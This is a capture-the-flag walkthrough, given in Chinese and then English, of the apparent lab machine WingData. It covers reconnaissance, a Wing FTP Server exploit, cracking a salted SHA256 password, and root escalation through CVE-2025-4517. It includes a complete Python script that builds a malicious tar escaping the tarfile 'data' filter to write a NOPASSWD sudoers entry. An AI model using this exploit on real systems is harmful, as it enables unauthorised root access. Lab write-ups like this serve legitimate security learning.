本文介绍了对WingData的渗透测试过程,包括信息收集、漏洞分析和利用。通过Nmap扫描发现开放的SSH和HTTP端口,进一步识别出Wing FTP Server的漏洞。利用该漏洞获得用户wacky的密码,并通过特权提升 This article details the penetration testing process for WingData, covering information gathering, vulnerability analysis, and exploitation. Nmap scanning revealed open SSH and HTTP ports, leading to the identification of a vulnerability in Wing FTP Server. This vulnerability was exploited to obtain the password for the user wacky, followed by privilege escalation.
Information Gathering
# Nmap 7.98 scan initiated Tue Feb 17 05:13:04 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.104.203
Nmap scan report for 10.129.104.203
Host is up (0.096s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vulnerability Analysis
浏览网页得知虚拟主机:ftp.wingdata.htb
进入获取到Web应用程序Wing FTP Server v7.4.3
搜索得到https://www.exploit-db.com/exploits/52347
Exploitation (User Flag)
根据此exploit可以获取到winftp的shell,搜索/home发现用户wacky
grep -rnio "wacky" . 2>/dev/null可获取到密码在文件:./Data/1/users/wacky.xml
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
通过谷歌搜索:hash site:*.wftpserver.com
可以获取到此页面:https://www.wftpserver.com/help/ftpserver/index.html?compression.htm
即可得到密码的盐为WingFTP,类型:SHA256
破解获取到密码:!#7Blushing^*Bride5
Privilege Escalation (Root Flag)
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py
查看python文件发现:
tar.extractall(path=staging_dir, filter="data")
Python是3.12
CVE-2025-4517
一个路径验证与路径实现之间的不匹配问题 (Mismatch between path validation and path realization)。在底层处理(例如调用操作系统的 os.path.realpath() 函数处理 PATH_MAX 限制条件)时,如果恶意 .tar 文件内部包含指向 ../../../../etc/passwd 或其他关键系统目录的恶意成员名,tarfile 的 "data" 过滤器无法成功将其拦截。
结果就是,原本应该被限制在安全解压目录下的文件,突破了边界,被跨目录写入到了系统的绝对路径中。
创建恶意的tar文件
import os # Operating System (操作系统接口)
import io # Input/Output (输入输出接口)
import tarfile # Tape Archive File (磁带归档文件接口)
# 创建带有符号链接循环的深层嵌套目录
def create_exploit_tar(username, output_file):
comp = 'a' * 247
steps = "abcdefghijklmnop"
path = ""
sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()
# 阶段一: 创建带有符号链接循环的深层嵌套目录
with tarfile.open(output_file, mode="w") as tar:
for i in steps:
# os.path.join: Operating System Path Join (操作系统路径拼接)
a = tarfile.TarInfo(os.path.join(path, comp))
# DIRTYPE: Directory Type (目录类型)
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
# SYMTYPE: Symbolic Link Type (符号链接/软链接类型)
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# 阶段二:创建向上延伸多级的长符号链接链
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps) # Go up 16 levels
tar.addfile(l)
# 阶段三:指向 /etc 的最终逃逸符号链接
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
tar.addfile(e)
# 阶段四:通过转义符创建指向sudoers的硬链接
f = tarfile.TarInfo("sudoers_link")
# LNKTYPE: Hard Link Type (硬链接类型)
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)
# 阶段五:写入实际内容 - 写入硬链接的索引节点
c = tarfile.TarInfo("sudoers_link")
# REGTYPE: Regular File Type (普通文件类型)
c.type = tarfile.REGTYPE
c.size = len(sudoers_entry)
# io.BytesIO: Input/Output Bytes In/Out (字节流内存文件对象)
tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))
print(f"[+] Exploit tar created: {output_file}")
return output_file
if __name__ == "__main__":
target_user = "wacky"
payload_filename = "backup_1111.tar"
print("[*] 正在生成攻击载荷...")
create_exploit_tar(target_user, payload_filename)
print(f"[*] 执行完毕,请查看当前目录下的 {payload_filename}")
代码来源:https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData/blob/main/CVE-2025-4517-POC.py
紧接着移动到/opt/backup_clients/backups目录下
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1111.tar -r restore_exploit
即可获取shell
Information Gathering
# Nmap 7.98 scan initiated Tue Feb 17 05:13:04 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.104.203
Nmap scan report for 10.129.104.203
Host is up (0.096s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vulnerability Analysis
Browsing the webpage reveals the virtual host: ftp.wingdata.htb
Accessing it reveals the web application Wing FTP Server v7.4.3
Searching yields https://www.exploit-db.com/exploits/52347
Exploitation (User Flag)
Using this exploit, we can obtain a shell for winftp. Searching /home reveals the user wacky.
grep -rnio "wacky" . 2>/dev/null reveals the password in the file: ./Data/1/users/wacky.xml
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
By searching Google: hash site:*.wftpserver.com
the following page is found: https://www.wftpserver.com/help/ftpserver/index.html?compression.htm
This reveals the salt for the password is WingFTP, type: SHA256
Cracking yields the password: !#7Blushing^*Bride5
Privilege Escalation (Root Flag)
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py
Reviewing the Python file reveals:
tar.extractall(path=staging_dir, filter="data")
Python is 3.12
CVE-2025-4517
This is a mismatch between path validation and path realization. When underlying processing (e.g., calling the OS os.path.realpath() function handling PATH_MAX limits) handles a malicious .tar file containing member names pointing to ../../../../etc/passwd or other critical system directories, the tarfile "data" filter fails to intercept it.
As a result, files that should be restricted to a safe extraction directory escape and are written to absolute system paths.
Creating the Malicious TAR File
import os # Operating System (OS interface)
import io # Input/Output (I/O interface)
import tarfile # Tape Archive File (tar archive interface)
# Create deeply nested directories with symbolic link loops
def create_exploit_tar(username, output_file):
comp = 'a' * 247
steps = "abcdefghijklmnop"
path = ""
sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()
# Phase 1: Create deeply nested directories with symbolic link loops
with tarfile.open(output_file, mode="w") as tar:
for i in steps:
# os.path.join: Operating System Path Join (OS path concatenation)
a = tarfile.TarInfo(os.path.join(path, comp))
# DIRTYPE: Directory Type (directory type)
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
# SYMTYPE: Symbolic Link Type (symbolic link/soft link type)
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# Phase 2: Create a long symbolic link chain extending upwards
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps) # Go up 16 levels
tar.addfile(l)
# Phase 3: Final escape symbolic link pointing to /etc
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
tar.addfile(e)
# Phase 4: Hard link to sudoers via escape sequence
f = tarfile.TarInfo("sudoers_link")
# LNKTYPE: Hard Link Type (hard link type)
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)
# Phase 5: Write actual content - write to inode of hard link
c = tarfile.TarInfo("sudoers_link")
# REGTYPE: Regular File Type (regular file type)
c.type = tarfile.REGTYPE
c.size = len(sudoers_entry)
# io.BytesIO: Input/Output Bytes In/Out (in-memory bytes file object)
tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))
print(f"[+] Exploit tar created: {output_file}")
return output_file
if __name__ == "__main__":
target_user = "wacky"
payload_filename = "backup_1111.tar"
print("[*] Generating exploit payload...")
create_exploit_tar(target_user, payload_filename)
print(f"[*] Execution complete. Please check {payload_filename} in the current directory")
Source: https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData/blob/main/CVE-2025-4517-POC.py
Next, move to the /opt/backup_clients/backups directory
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1111.tar -r restore_exploit
This yields a shell